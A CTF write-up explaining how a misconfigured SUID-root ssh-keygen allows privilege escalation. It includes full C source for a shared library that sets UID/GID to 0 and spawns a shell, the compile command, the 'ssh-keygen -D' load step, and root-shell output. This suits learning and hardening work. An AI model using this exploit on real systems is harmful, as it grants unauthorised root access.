Introduction
Recently I was doing a CTF Machine and I found that the ssh-keygen binary has the SUID bit set. I initially ignored it since it looked quite useless but then I realized that it could be used to privesc through SUID, so I decided to write about it.
First let's define some terms:
- What is
ssh-keygen?
ssh-keygen is a utility for generating and managing SSH key pairs. It is commonly used to generate SSH keys for use with SSH clients and servers.
- What is SUID?
SUID is a special permission that allows a user to execute a file with the permissions of the file's owner.
- What is Library Loading Abuse?
Library Loading Abuse is a technique that allows a user to load a library that is not normally allowed to be loaded.
- What is the vulnerability?
The vulnerability is that ssh-keygen can be used to load a library that is not normally allowed to be loaded.
Execution
Confirming the permissions of the binary:
$ ls -l /bin/ssh-keygen
-rwsr-xr-x 1 root root 477488 Apr 11 2025 /bin/ssh-keygenThe s indicates the SUID bit is set.
Now lets make a library that will spawn a shell.
#include <stdlib.h>
#include <unistd.h>
void *C_GetFunctionList(void) { return NULL; }
__attribute__((constructor))
int main() {
setuid(0);
setgid(0);
system("/bin/sh");
return 0;
}void *C_GetFunctionList(void) { return NULL; } is added because without it we get this annoying error from ssh-keygen's loader of ./sol1.so does not contain expected string C_GetFunctionList.
__attribute__((constructor)) tells the loader to automatically execute the function when the shared library is loaded, before normal program execution continues.
setuid(0) & setgid(0) are used to set the UID and GID to root (0).
And we compile with gcc -shared -fPIC exploit.c -o exploit.so.
Now we need to load the library into the ssh-keygen binary which is as easy as ssh-keygen -D ./exploit.so and doing so...
$ ssh-keygen -D ./sol.so
# id
uid=0(root) gid=0(root) groups=0(root),1000(hacker)And now we are root!
Conclusion
That was pretty easy right? I hope you learned something from this post.